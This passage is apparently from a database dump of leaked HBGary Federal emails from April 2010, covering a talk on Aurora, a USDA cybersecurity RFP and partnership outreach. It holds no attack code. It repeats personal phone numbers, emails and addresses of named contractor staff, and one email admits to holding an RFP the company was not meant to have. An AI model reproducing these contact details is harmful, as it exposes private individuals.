Scott?\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Monday, April 26, 2010 11:34 AM\r\n>> To: Estell, Timothy W.\r\n>> Subject: Re: Aurora Talk\r\n>>\r\n>> Great.  Should I bring the presentation on a laptop and plug in or\r\n>> on a\r\n>> thumb drive, or email?\r\n>>\r\n>> Aaron\r\n>>\r\n>> On Apr 26, 2010, at 11:32 AM, Estell, Timothy W. wrote:\r\n>>\r\n>>> It\'s at 6841 Benjamin Franklin Drive, Columbia MD 21046.\r\n>>>\r\n>>> As you walk in the front door you\'ll see the conference center\r\n>>> doors.\r\n>>> We\'ll meet on the ground floor.\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Monday, April 26, 2010 9:31 AM\r\n>>> To: Estell, Timothy W.\r\n>>> Subject: Aurora Talk\r\n>>>\r\n>>> Hey Tim,\r\n>>>\r\n>>> Can you send me the location of the talk for tomorrow?\r\n>>>\r\n>>> Thanks,\r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>>\r\n>>> \r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n',138,'aaron_hbgary_com/138.html'),(5808,'2010-04-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004245.M817672P14101Q663.eml','\"Maria Lucas\" <maria@hbgary.com>','Re: USDA info','nvm I see them, first was looking on my iphone and missed them. &nbsp;Could I get a copy?On Apr 29, 2010, at 12:07 PM, Maria Lucas wrote:Bob / Penny / Rich / Aaron\r\n&nbsp;\r\nI have a copy of the USDA RFP sent to 6 system integrators.&nbsp; The requirements were written by Harris so they are not bidding.&nbsp; Malware detection is a large component.&nbsp; Strangely it implies a Damballa like solution as a preface to the malware detection requirements.....&nbsp;&nbsp; \r\n\r\n&nbsp;\r\nIt is odd that none of BPA holders have contacted HBGary.&nbsp; We need to work fast because the RFP is due May 7th...&nbsp;&nbsp; The USDA received $44 million to build out a SOC.\r\n&nbsp;\r\nFYI / Background Rich has met twice with Harris and they have stated they want to purchase 1,400 nodes this year but we don\'t necessarily trust the Harris relationship.&nbsp; If this RFP is written \"not for\" HBGary then we should protest because Harris has a conflict of interest with HBGary.&nbsp; I heard that Patriot is protesting....\r\n\r\n&nbsp;\r\nWe are not suppose to have a copy of the RFP and have been asked not to disclose our source...\r\n\r\n\r\nMaria,Per our conversation, security services BPA holders are. &nbsp;UnisysNelson E. ScottNelson.Scott@unisys.comwork&nbsp;571-449-6192 &nbsp;CSCJim KingAccount Director - Environment, Agriculture and Natural Resources CSC655 15th Street, NW, Suite 500, Washington, DC 20005 Civil Division | office: 202.741.4304 | mobile: 703.963.4533 | fax:703.461.2020 | jking46@csc.com |www.csc.com/environment&nbsp;William BowersPrincipal Security EngineerCSC6000 Lincoln Drive Marlton, NJ 08053GSS&nbsp;&nbsp;| Office: 856-985-6720 |&nbsp;&nbsp;Cell: 609-975-3887&nbsp;&nbsp;| Fax: 856-985-8912 |&nbsp;&nbsp;wbowers4@csc.com&nbsp;&nbsp;| www.csc.com&nbsp;Verizon BusinessBusiness contact Reginald HendricksReginald.hendricks@verizonbusiness.com703-284-4602&nbsp;Technical contactAndre ChinnSr. Solutions ConsultantFederal Civilian AgenciesOffice: 703.886.8229Mobile: 571.246.3041andre.chinn@verizonbusiness.com&nbsp;MantechBD Lead: Vince Lively, (703)388-2131, vince.lively@mantech.comOps Lead:Jamey Dillon, (703)388-0364, Jamey.dillon@mantech.com&nbsp;KLCS. David WarmanKLC Network Services, Inc.EVP &amp; COOMobile: 240-367-5717sdwarman@klcnetworks.com&nbsp;-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nWebsite: &nbsp;www.hbgary.com |email: maria@hbgary.com http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3866,'aaron_hbgary_com/3866.html'),(5809,'2010-04-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004246.M316787P14101Q665.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,,','Re: USDA info','If desired I could get us in to talk with the CSC and Mantech folks.AaronOn Apr 29, 2010, at 12:07 PM, Maria Lucas wrote:Bob / Penny / Rich / Aaron\r\n&nbsp;\r\nI have a copy of the USDA RFP sent to 6 system integrators.&nbsp; The requirements were written by Harris so they are not bidding.&nbsp; Malware detection is a large component.&nbsp; Strangely it implies a Damballa like solution as a preface to the malware detection requirements.....&nbsp;&nbsp; \r\n\r\n&nbsp;\r\nIt is odd that none of BPA holders have contacted HBGary.&nbsp; We need to work fast because the RFP is due May 7th...&nbsp;&nbsp; The USDA received $44 million to build out a SOC.\r\n&nbsp;\r\nFYI / Background Rich has met twice with Harris and they have stated they want to purchase 1,400 nodes this year but we don\'t necessarily trust the Harris relationship.&nbsp; If this RFP is written \"not for\" HBGary then we should protest because Harris has a conflict of interest with HBGary.&nbsp; I heard that Patriot is protesting....\r\n\r\n&nbsp;\r\nWe are not suppose to have a copy of the RFP and have been asked not to disclose our source...\r\n\r\n\r\nMaria,Per our conversation, security services BPA holders are. &nbsp;UnisysNelson E. ScottNelson.Scott@unisys.comwork&nbsp;571-449-6192 &nbsp;CSCJim KingAccount Director - Environment, Agriculture and Natural Resources CSC655 15th Street, NW, Suite 500, Washington, DC 20005 Civil Division | office: 202.741.4304 | mobile: 703.963.4533 | fax:703.461.2020 | jking46@csc.com |www.csc.com/environment&nbsp;William BowersPrincipal Security EngineerCSC6000 Lincoln Drive Marlton, NJ 08053GSS&nbsp;&nbsp;| Office: 856-985-6720 |&nbsp;&nbsp;Cell: 609-975-3887&nbsp;&nbsp;| Fax: 856-985-8912 |&nbsp;&nbsp;wbowers4@csc.com&nbsp;&nbsp;| www.csc.com&nbsp;Verizon BusinessBusiness contact Reginald HendricksReginald.hendricks@verizonbusiness.com703-284-4602&nbsp;Technical contactAndre ChinnSr. Solutions ConsultantFederal Civilian AgenciesOffice: 703.886.8229Mobile: 571.246.3041andre.chinn@verizonbusiness.com&nbsp;MantechBD Lead: Vince Lively, (703)388-2131, vince.lively@mantech.comOps Lead:Jamey Dillon, (703)388-0364, Jamey.dillon@mantech.com&nbsp;KLCS. David WarmanKLC Network Services, Inc.EVP &amp; COOMobile: 240-367-5717sdwarman@klcnetworks.com&nbsp;-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nWebsite: &nbsp;www.hbgary.com |email: maria@hbgary.com http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',2303,'aaron_hbgary_com/2303.html'),(5810,'2010-04-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004246.M574949P14101Q666.eml','\"Sheldon, Scott W.\" <SCOTT.W.SHELDON@saic.com>','Re: Aurora Talk','Rgr.  See you next week.\r\n\r\nOn Apr 29, 2010, at 2:02 PM, Sheldon, Scott W. wrote:\r\n\r\n> Aaron,\r\n> \r\n> Let\'s meet in the same building where you did the presentation.\r\n> \r\n> I\'ll meet you on the sixth floor where you\'ll sign in.\r\n> \r\n> Scott\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, April 29, 2010 2:00 PM\r\n> To: Sheldon, Scott W.\r\n> Subject: Re: Aurora Talk\r\n> \r\n> Scott,\r\n> \r\n> How about 7 may.\r\n> \r\n> Aaron\r\n> \r\n> From my iPhone\r\n> \r\n> On Apr 29, 2010, at 1:21 PM, \"Sheldon, Scott W.\"\r\n> > wrote:\r\n> \r\n>> Aaron,\r\n>> \r\n>> I currently have the following open:\r\n>> \r\n>> 6 May at 1130\r\n>> 7 May at 1530\r\n>> 10 May at 1300\r\n>> \r\n>> Do any of these work for you?\r\n>> \r\n>> Scott\r\n>> \r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Wednesday, April 28, 2010 10:53 PM\r\n>> To: Sheldon, Scott W.\r\n>> Subject: Re: Aurora Talk\r\n>> \r\n>> Scott,\r\n>> \r\n>> Thanks again for inviting me to talk on Aurora.  Let me know a few\r\n>> good dates\r\n>> we could get together and talk.\r\n>> \r\n>> Aaron\r\n>> \r\n>> On Apr 26, 2010, at 3:38 PM, Sheldon, Scott W. wrote:\r\n>> \r\n>>> Aaron,\r\n>>> \r\n>>> The easiest thing for me is if you\'re comfortable e-mailing the\r\n>>> Powerpoint presentation to me today or early tomorrow.\r\n>>> \r\n>>> That way I can get it all loaded up on my account and have everything\r\n>>> set to go when you get here.\r\n>>> \r\n>>> Scott\r\n>>> \r\n>>> -----Original Message-----\r\n>>> From: Estell, Timothy W.\r\n>>> Sent: Monday, April 26, 2010 11:37 AM\r\n>>> To: Aaron Barr\r\n>>> Cc: Sheldon, Scott W.\r\n>>> Subject: RE: Aurora Talk\r\n>>> \r\n>>> Either or both the laptop and thumb drive.\r\n>>> \r\n>>> Scott?\r\n>>> \r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Monday, April 26, 2010 11:34 AM\r\n>>> To: Estell, Timothy W.\r\n>>> Subject: Re: Aurora Talk\r\n>>> \r\n>>> Great.  Should I bring the presentation on a laptop and plug in or\r\n>>> on a\r\n>>> thumb drive, or email?\r\n>>> \r\n>>> Aaron\r\n>>> \r\n>>> On Apr 26, 2010, at 11:32 AM, Estell, Timothy W. wrote:\r\n>>> \r\n>>>> It\'s at 6841 Benjamin Franklin Drive, Columbia MD 21046.\r\n>>>> \r\n>>>> As you walk in the front door you\'ll see the conference center\r\n>>>> doors.\r\n>>>> We\'ll meet on the ground floor.\r\n>>>> \r\n>>>> -----Original Message-----\r\n>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>> Sent: Monday, April 26, 2010 9:31 AM\r\n>>>> To: Estell, Timothy W.\r\n>>>> Subject: Aurora Talk\r\n>>>> \r\n>>>> Hey Tim,\r\n>>>> \r\n>>>> Can you send me the location of the talk for tomorrow?\r\n>>>> \r\n>>>> Thanks,\r\n>>>> Aaron Barr\r\n>>>> CEO\r\n>>>> HBGary Federal Inc.\r\n>>>> \r\n>>>> \r\n>>> \r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',13749,'aaron_hbgary_com/13749.html'),(5811,'2010-04-29','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004246.M69185P14101Q664.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: USDA info','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nBob, you should know the Verizon and CSC people, you should call\r\nthem ASAP.&nbsp;&nbsp; Maria, do you have the RFP?&nbsp; What does pertinent section say about\r\nmalware detection?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Maria Lucas\r\n[mailto:maria@hbgary.com] \r\nSent: Thursday, April 29, 2010 9:07 AM\r\nTo: Bob Slapnik; Penny C. Hoglund; Rich Cummings; Aaron Barr\r\nSubject: Re: USDA info\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob / Penny / Rich / Aaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI have a copy of the USDA RFP sent to 6 system\r\nintegrators.&nbsp; The requirements were written by Harris so they are not\r\nbidding.&nbsp; Malware detection is a large component.&nbsp; Strangely it\r\nimplies a Damballa like solution as a preface to the malware detection\r\nrequirements.....&nbsp;&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIt is odd that none of BPA holders have contacted\r\nHBGary.&nbsp; We need to work fast because the RFP is due May\r\n7th...&nbsp;&nbsp; The USDA received $44 million to build out a SOC.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFYI / Background Rich has met twice with Harris and they\r\nhave stated they want to purchase 1,400 nodes this year but we don\'t\r\nnecessarily trust the Harris relationship.&nbsp; If this RFP is written\r\n&quot;not for&quot; HBGary then we should protest because Harris has a conflict\r\nof interest with HBGary.&nbsp; I heard that Patriot is protesting....\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe are not suppose to have a copy of the RFP and have been\r\nasked not to disclose our source...\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMaria,\r\n\r\nPer\r\nour conversation, security services BPA holders are. \r\n\r\n&nbsp;\r\n\r\nUnisys\r\n\r\nNelson\r\nE. Scott\r\n\r\nNelson.Scott@unisys.com\r\n\r\nwork&nbsp;571-449-6192\r\n\r\n\r\n&nbsp;\r\n\r\nCSC\r\n\r\nJim King\r\n\r\nAccount Director - Environment, Agriculture and Natural Resources CSC\r\n\r\n655 15th Street, NW, Suite 500, Washington, DC 20005 Civil Division |\r\noffice: 202.741.4304 | mobile: 703.963.4533 | fax:\r\n\r\n703.461.2020 | jking46@csc.com\r\n|www.csc.com/environment\r\n\r\n&nbsp;\r\n\r\nWilliam Bowers\r\nPrincipal Security Engineer\r\nCSC\r\n6000 Lincoln Drive Marlton, NJ 08053\r\nGSS&nbsp;&nbsp;| Office: 856-985-6720 |&nbsp;&nbsp;Cell:\r\n609-975-3887&nbsp;&nbsp;| Fax: 856-985-8912 |&nbsp;&nbsp;wbowers4@csc.com&nbsp;&nbsp;|\r\nwww.csc.com\r\n\r\n&nbsp;\r\n\r\nVerizon\r\nBusiness\r\n\r\nBusiness\r\ncontact \r\n\r\nReginald\r\nHendricks\r\n\r\nReginald.hendricks@verizonbusiness.com\r\n\r\n703-284-4602\r\n\r\n&nbsp;\r\n\r\nTechnical\r\ncontact\r\n\r\nAndre Chinn\r\n\r\nSr. Solutions\r\nConsultant\r\n\r\nFederal\r\nCivilian Agencies\r\n\r\nOffice:\r\n703.886.8229\r\n\r\nMobile:\r\n571.246.3041\r\n\r\nandre.chinn@verizonbusiness.com\r\n\r\n&nbsp;\r\n\r\nMantech\r\n\r\nBD\r\nLead: \r\n\r\nVince\r\nLively, (703)388-2131, vince.lively@mantech.com\r\n\r\nOps\r\nLead:\r\n\r\nJamey\r\nDillon, (703)388-0364, Jamey.dillon@mantech.com\r\n\r\n&nbsp;\r\n\r\nKLC\r\n\r\nS.\r\nDavid Warman\r\n\r\nKLC\r\nNetwork Services, Inc.\r\n\r\nEVP\r\n&amp; COO\r\n\r\nMobile:\r\n240-367-5717\r\n\r\nsdwarman@klcnetworks.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Account Executive | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nWebsite: &nbsp;www.hbgary.com |email: maria@hbgary.com \r\n\r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13241,'aaron_hbgary_com/13241.html'),(5812,'2010-04-29','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004246.M866695P14101Q667.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>','RE: USDA info','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDo it\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, April 29, 2010 11:29 AM\r\nTo: Maria Lucas\r\nCc: Bob Slapnik; Penny C. Hoglund; Rich Cummings\r\nSubject: Re: USDA info\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nIf desired I could get us in to talk with the CSC and\r\nMantech folks.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 29, 2010, at 12:07 PM, Maria Lucas wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob / Penny / Rich / Aaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI have a copy of the USDA RFP sent to 6 system\r\nintegrators.&nbsp; The requirements were written by Harris so they are not\r\nbidding.&nbsp; Malware detection is a large component.&nbsp; Strangely it\r\nimplies a Damballa like solution as a preface to the malware detection\r\nrequirements.....&nbsp;&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIt is odd that none of BPA holders have contacted\r\nHBGary.&nbsp; We need to work fast because the RFP is due May 7th...&nbsp;&nbsp;\r\nThe USDA received $44 million to build out a SOC.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFYI / Background Rich has met twice with Harris and they\r\nhave stated they want to purchase 1,400 nodes this year but we don\'t\r\nnecessarily trust the Harris relationship.&nbsp; If this RFP is written\r\n&quot;not for&quot; HBGary then we should protest because Harris has a conflict\r\nof interest with HBGary.&nbsp; I heard that Patriot is protesting....\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe are not suppose to have a copy of the RFP and have been\r\nasked not to disclose our source...\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMaria,\r\n\r\nPer\r\nour conversation, security services BPA holders are. \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nUnisys\r\n\r\nNelson\r\nE. Scott\r\n\r\nNelson.Scott@unisys.com\r\n\r\nwork&nbsp;571-449-6192\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nCSC\r\n\r\nJim King\r\n\r\nAccount Director - Environment, Agriculture and Natural Resources CSC\r\n\r\n655 15th Street, NW, Suite 500, Washington, DC 20005 Civil Division |\r\noffice: 202.741.4304 | mobile: 703.963.4533 | fax:\r\n\r\n703.461.2020 | jking46@csc.com\r\n|www.csc.com/environment\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nWilliam Bowers\r\nPrincipal Security Engineer\r\nCSC\r\n6000 Lincoln Drive Marlton, NJ 08053\r\nGSS&nbsp;&nbsp;| Office: 856-985-6720 |&nbsp;&nbsp;Cell:\r\n609-975-3887&nbsp;&nbsp;| Fax: 856-985-8912 |&nbsp;&nbsp;wbowers4@csc.com&nbsp;&nbsp;|\r\nwww.csc.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nVerizon\r\nBusiness\r\n\r\nBusiness\r\ncontact \r\n\r\nReginald\r\nHendricks\r\n\r\nReginald.hendricks@verizonbusiness.com\r\n\r\n703-284-4602\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nTechnical\r\ncontact\r\n\r\nAndre Chinn\r\n\r\nSr. Solutions\r\nConsultant\r\n\r\nFederal\r\nCivilian Agencies\r\n\r\nOffice:\r\n703.886.8229\r\n\r\nMobile:\r\n571.246.3041\r\n\r\nandre.chinn@verizonbusiness.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMantech\r\n\r\nBD\r\nLead: \r\n\r\nVince\r\nLively, (703)388-2131, vince.lively@mantech.com\r\n\r\nOps\r\nLead:\r\n\r\nJamey\r\nDillon, (703)388-0364, Jamey.dillon@mantech.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nKLC\r\n\r\nS.\r\nDavid Warman\r\n\r\nKLC\r\nNetwork Services, Inc.\r\n\r\nEVP\r\n&amp; COO\r\n\r\nMobile:\r\n240-367-5717\r\n\r\nsdwarman@klcnetworks.com\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Account Executive | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nWebsite: &nbsp;www.hbgary.com |email: maria@hbgary.com \r\n\r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16873,'aaron_hbgary_com/16873.html'),(5813,'2010-04-29','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297004247.M129340P14101Q668.eml','\"Aaron Barr\" <aaron@hbgary.com>','Tuesday Writing Meeting','\r\n\r\n\r\n\r\n\r\nTuesday Writing Meeting\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\nCan you attend a 10-200 writing meeting over here on Tuesday?&nbsp; I&#8217;d like to solidify the outline and get to work on the whitepaper.\r\n\r\nLet me know what you think.\r\n\r\nThanks,\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Chris\r\n__________________________________________________\r\n&nbsp; \r\n |Chris Clair | Program Manager | 703.449.3964 \r\n\r\n\r\n\r\n\r\n\r\n\r\n',13954,'aaron_hbgary_com/13954.html'),(5814,'2010-04-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004247.M344716P14101Q669.eml','\"Alex Nieves\" <alexander.nieves@mantech.com>','USDA','Hi Alex,\r\n\r\nCurious if you are leading your response to the USDA RFP for cybersecurity?  Is it worth a conversation of how we might be able to help?  We are in the process of implemented our Threat Management Center at NSA to assist in threat identification and malware processing, might help USDA as well.  Active Defense product is also working well which manages malware identification on the endpoints.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',12661,'aaron_hbgary_com/12661.html'),(5815,'2010-04-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004247.M564018P14101Q670.eml','\"Penny Leavy\" <penny@hbgary.com>','SecDev','Conversation with SecDev CEO.  He wants to partner.  Use our capability for malware processing and feeds.  Says he can open up the canadian market to us.  Plan is to set up a capabilities briefing cross-company, then I am going to meet with him the week after that presentation in person to discuss what we can do together on services as well as with product.  I will bring Bob with me to that conversation.\r\n\r\n4 different operating companies\r\n3 cyber 1 not\r\n\r\nSecDev Ops - field capabilities and operations\r\n	(fairly robust network of people). key informants, technical \r\nSecDev Cyber - forensics and investigations.  Tradecraft and process.  Analysis of spefic clients.\r\nPsiphon - content delivery into hostile environments\r\nSkunkworks - tools development.  Cloakroom.\r\n\r\n6-8 months - key integrator between sensor nets, cyber IP holders and the palantir platform.  Want to develop a service offering.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',6115,'aaron_hbgary_com/6115.html'),(5816,'2010-04-29','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297004250.M347222P14101Q671.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,,','Re: USDA info','USDA attachment\r\n \r\nAaron we really appreciate your support. Do you know Jamie Dillon?  Rich met Jamie last year so I it was a surprise that he has not contacted us.  Jamie is aware we have an enterprise solution for DDNA -- I&#39;ve spoken to him many times....\r\n\r\n \r\nVerizon  -- Bob\r\nUnisys  - ?? Maria\r\nMantech - Aaron\r\nCSC -- Aaron\r\nKLC -- ?? Maria\r\nOn Thu, Apr 29, 2010 at 11:29 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nDo it\r\n \r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] Sent: Thursday, April 29, 2010 11:29 AM\r\nTo: Maria LucasCc: Bob Slapnik; Penny C. Hoglund; Rich CummingsSubject: Re: USDA info\r\n\r\n\r\n\r\n \r\nIf desired I could get us in to talk with the CSC and Mantech folks.\r\n\r\n \r\n\r\nAaron\r\n\r\n \r\n\r\n\r\nOn Apr 29, 2010, at 12:07 PM, Maria Lucas wrote:\r\n\r\n\r\nBob / Penny / Rich / Aaron\r\n\r\n \r\n\r\nI have a copy of the USDA RFP sent to 6 system integrators.  The requirements were written by Harris so they are not bidding.  Malware detection is a large component.  Strangely it implies a Damballa like solution as a preface to the malware detection requirements.....   \r\n\r\n\r\n \r\n\r\nIt is odd that none of BPA holders have contacted HBGary.  We need to work fast because the RFP is due May 7th...   The USDA received $44 million to build out a SOC.\r\n\r\n \r\n\r\nFYI / Background Rich has met twice with Harris and they have stated they want to purchase 1,400 nodes this year but we don&#39;t necessarily trust the Harris relationship.  If this RFP is written &quot;not for&quot; HBGary then we should protest because Harris has a conflict of interest with HBGary.  I heard that Patriot is protesting....\r\n\r\n\r\n \r\n\r\nWe are not suppose to have a copy of the RFP and have been asked not to disclose our source...\r\n\r\n\r\n\r\n\r\nMaria,\r\nPer our conversation, security services BPA holders are. \r\n\r\n \r\nUnisys\r\nNelson E. Scott\r\nNelson.Scott@unisys.com\r\nwork 571-449-6192 \r\n\r\n \r\nCSC\r\nJim King\r\nAccount Director - Environment, Agriculture and Natural Resources CSC\r\n655 15th Street, NW, Suite 500, Washington, DC 20005 Civil Division | office: 202.741.4304 | mobile: 703.963.4533 | fax:\r\n703.461.2020 | jking46@csc.com |www.csc.com/environment\r\n\r\n \r\nWilliam BowersPrincipal Security EngineerCSC6000 Lincoln Drive Marlton, NJ 08053GSS  | Office: 856-985-6720 |  Cell: 609-975-3887  | Fax: 856-985-8912 |  wbowers4@csc.com  | www.csc.com\r\n\r\n\r\n \r\nVerizon Business\r\nBusiness contact \r\nReginald Hendricks\r\nReginald.hendricks@verizonbusiness.com\r\n703-284-4602\r\n\r\n \r\nTechnical contact\r\nAndre Chinn\r\nSr. Solutions Consultant\r\nFederal Civilian Agencies\r\nOffice: 703.886.8229\r\nMobile: 571.246.3041\r\nandre.chinn@verizonbusiness.com\r\n\r\n\r\n \r\nMantech\r\nBD Lead: \r\nVince Lively, (703)388-2131, vince.lively@mantech.com\r\nOps Lead:\r\nJamey Dillon, (703)388-0364, Jamey.dillon@mantech.com\r\n\r\n \r\nKLC\r\nS. David Warman\r\nKLC Network Services, Inc.\r\nEVP &amp; COO\r\nMobile: 240-367-5717\r\nsdwarman@klcnetworks.com\r\n\r\n \r\n-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971Website:  www.hbgary.com |email: maria@hbgary.com \r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n \r\n\r\n\r\n\r\nAaron Barr\r\n\r\nCEO\r\n\r\nHBGary Federal Inc.\r\n -- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nWebsite:  www.hbgary.com |email: maria@hbgary.com http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n',9127,'aaron_hbgary_com/9127.html'),(5817,'2010-04-29','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297004250.M854350P14101Q672.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,,','Re: USDA info','Conversation with KLC CEO\r\n \r\nDaver Warman was running into a meeting and will call back later.\r\n \r\nHe explained that the USDA  Office of the CIO had an open competition for a BPA for $25 million.  There were 200 responses and 6 awards.  This was followed by an &quot;undisclosed&quot; RFP to the BPA holders.\r\n\r\n \r\nUnisys, Verizon Business, CSC, Mantech and KLC.  Harris was unable to bid because they wrote the specifications.\r\n \r\nMaria\r\nOn Thu, Apr 29, 2010 at 11:29 AM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nDo it\r\n \r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] Sent: Thursday, April 29, 2010 11:29 AM\r\nTo: Maria LucasCc: Bob Slapnik; Penny C. Hoglund; Rich CummingsSubject: Re: USDA info\r\n\r\n\r\n\r\n \r\nIf desired I could get us in to talk with the CSC and Mantech folks.\r\n\r\n \r\n\r\nAaron\r\n\r\n 